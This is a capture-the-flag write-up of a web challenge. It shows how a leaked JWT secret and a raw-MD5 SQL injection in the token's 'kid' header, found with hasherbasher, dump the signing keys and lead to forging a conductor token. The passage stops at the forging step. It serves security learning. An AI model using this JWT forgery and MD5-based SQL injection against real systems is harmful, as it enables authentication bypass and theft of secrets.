SIGPwny Transit Authority needs your fares, but the system is acting a tad odd. We'll let you sign your tickets this time!
Recon
The web page is a fare collection system with two options; I'm a Passenger and I'm a Conductor, although the latter is greyed out.
Clicking the first option triggers a POST request to the /pay endpoint, which returns an error message.
{ "message": "Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?",
"success":false}
Checking the page source reveals the following script.
asyncfunctionpay() {// i could not get sqlite to work on the frontend :(/* db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => { ??????? */constr=awaitfetch("/pay", { method:"POST" });constj=awaitr.json();document.getElementById("alert").classList.add("opacity-100");// todo: convert md5 to hex string instead of latin1??document.getElementById("alert").innerText = j["message"];setTimeout(() => {document.getElementById("alert").classList.remove("opacity-100"); },5000);}
Finally, we have an access_token cookie in JWT format.
jwt_tool eyJhbGciOiJIUzI1NiIsImtpZCI6InBhc3Nlbmdlcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.EqwTzKXS85U_CbNznSxBz8qA1mDZOs1JomTXSbsw0Zs
Tokenheadervalues:[+] alg = "HS256"[+] kid = "passenger_key"[+] typ = "JWT"Tokenpayloadvalues:[+] type = "passenger"
Solution
Putting the pieces together:
We have a JWT with a payload value of passenger, which we need to change to conductor
An error message revealed the JWT secret: a_boring_passenger_signing_key_?
JWT Tampering
Looks like a JWT attack - let's see if the key is correct.
jwt_tool eyJhbGciOiJIUzI1NiIsImtpZCI6InBhc3Nlbmdlcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.EqwTzKXS85U_CbNznSxBz8qA1mDZOs1JomTXSbsw0Zs -C -p a_boring_passenger_signing_key_?
Passwordprovided,checkingifvalid...[+] CORRECT key found:a_boring_passenger_signing_key_?Youcantamper/fuzzthetokencontents (-T/-I) and sign it using:python3jwt_tool.py [options here]-Shs256-p"a_boring_passenger_signing_key_?"
It is! jwt_tool even gave us a command to forge our own token. Let's do that now, setting the payload claim to conductor.
Hmmm.. Now it says, Key isn't passenger or conductor. Please sign your own tickets. which is the same message I get when signing the token with a random [invalid] secret.
Time to rethink! Remember the comments in the JS snippet?
//db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row)// todo: convert md5 to hex string instead of latin1??
Pair them with the response we received from the /pay endpoint.
It's a match! Let's take a step back, though. Before the unicode escaping, the raw string is _Rรฒsรxรรร ยด\รค. Therefore, whenever the following line executes:
db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => {???????
It's actually executing:
db.each(`SELECT * FROM keys WHERE kid = '${md5("_Rรฒsรxรรร ยด\รค")}'`, (err, row) => {???????
Any thoughts?? ๐ง
Maybe if the MD5 hash decoded to something like 'or 1=1--? ๐ค
db.each(`SELECT * FROM keys WHERE kid = '${md5("'or 1=1--")}'`, (err, row) => {???????
SQL Injection
I'd already had a suspicion about SQLi but wasn't sure how to accomplish it. For example, how do I find a string that, when hashed, will produce a string of hex values that, when decoded (unhexed), begins with 'or 1=1--?
My teammate already solved the challenge and recommended a tool called hasherbasher ๐ก
This tool helps exploit poorly designed authentication systems by locating ASCII strings that, when MD5 hashed, result in raw bytes that could change SQL logic.
So, it turns out we don't need to construct a hash as precisely as I'd initially anticipated. Here's the hasherbasher regex: \A.*?'(\|\||or|Or|OR|oR)'[1-9]+?.*\z.
Providing the string 'or\d' (where \d is any decimal value) exists somewhere in the raw bytes, the SQL injection should succeed. Here's the example from GitHub.
[HASHERBASHER:cli] INFO ===== Match Found =====[HASHERBASHER:cli] INFO Cracked In: 0.000172369 seconds[HASHERBASHER:cli] INFO -- BEGIN RAW BYTES --l๏ฟฝ๏ฟฝ๏ฟฝ%'oR'5๏ฟฝ๏ฟฝ๏ฟฝ[[HASHERBASHER:cli] INFO -- END RAW BYTES --[HASHERBASHER:cli] INFO ===== Results =====LocatedString:DyrhGOYP0vxI2DtH8yResultSize:16ResultBytes: [108 14151253165194373911182395317912916291]ResultHex:6c0e97fda5c225276f522735b381a25b
If we MD5DyrhGOYP0vxI2DtH8y, we get 6c0e97fda5c225276f522735b381a25b.
If we decode6c0e97fda5c225276f522735b381a25b from hex, we get lยรฝยฅร%'oR'5ยณยยข[
db.each(`SELECT * FROM keys WHERE kid = '${md5("'lยรฝยฅร%'oR'5ยณยยข[")}'`, (err, row) => {???????
Why would this work? It's basically SELECTing all of the keys from the database, WHERE the kid = ${md5("'lยรฝยฅร% OR 5ยณยยข[")}.
The first condition returns false, since no kid exists called ${md5("'lยรฝยฅร%.
The second condition returns true, since (\d) is always true, even if it's in string format ('\d') and followed by letters ('\d\w+').
To demonstrate this fact, try the following query in an online SQLite interpreter.
SELECT*FROM demo WHEREname='crypto'or'cat';
It returns zero results, while this query returns all rows from the DB.
SELECT*FROM demo WHEREname='crypto'or'5cat';
The same applies to MariaDB, but PostgreSQL and MSSQL respond with an error.
Anyway, returning to our SQL statement, we have two conditions: one is true, and one is false. If we OR these results, the overall condition returns true (0 || 1 = 1), and all keys will be returned from the DB.
We send the request with the new token and receive all the keys in return ๐
{ "message": "Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed \u00f4\u008c\u00f7u\u009e\u00deIB\u0090\u0005\u0084\u009fB\u00e7\u00d9+ secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e\nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?",
"success":false}
JWT Forgery
Now we need to forge a brand new JWT for the conductor using the associated key: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e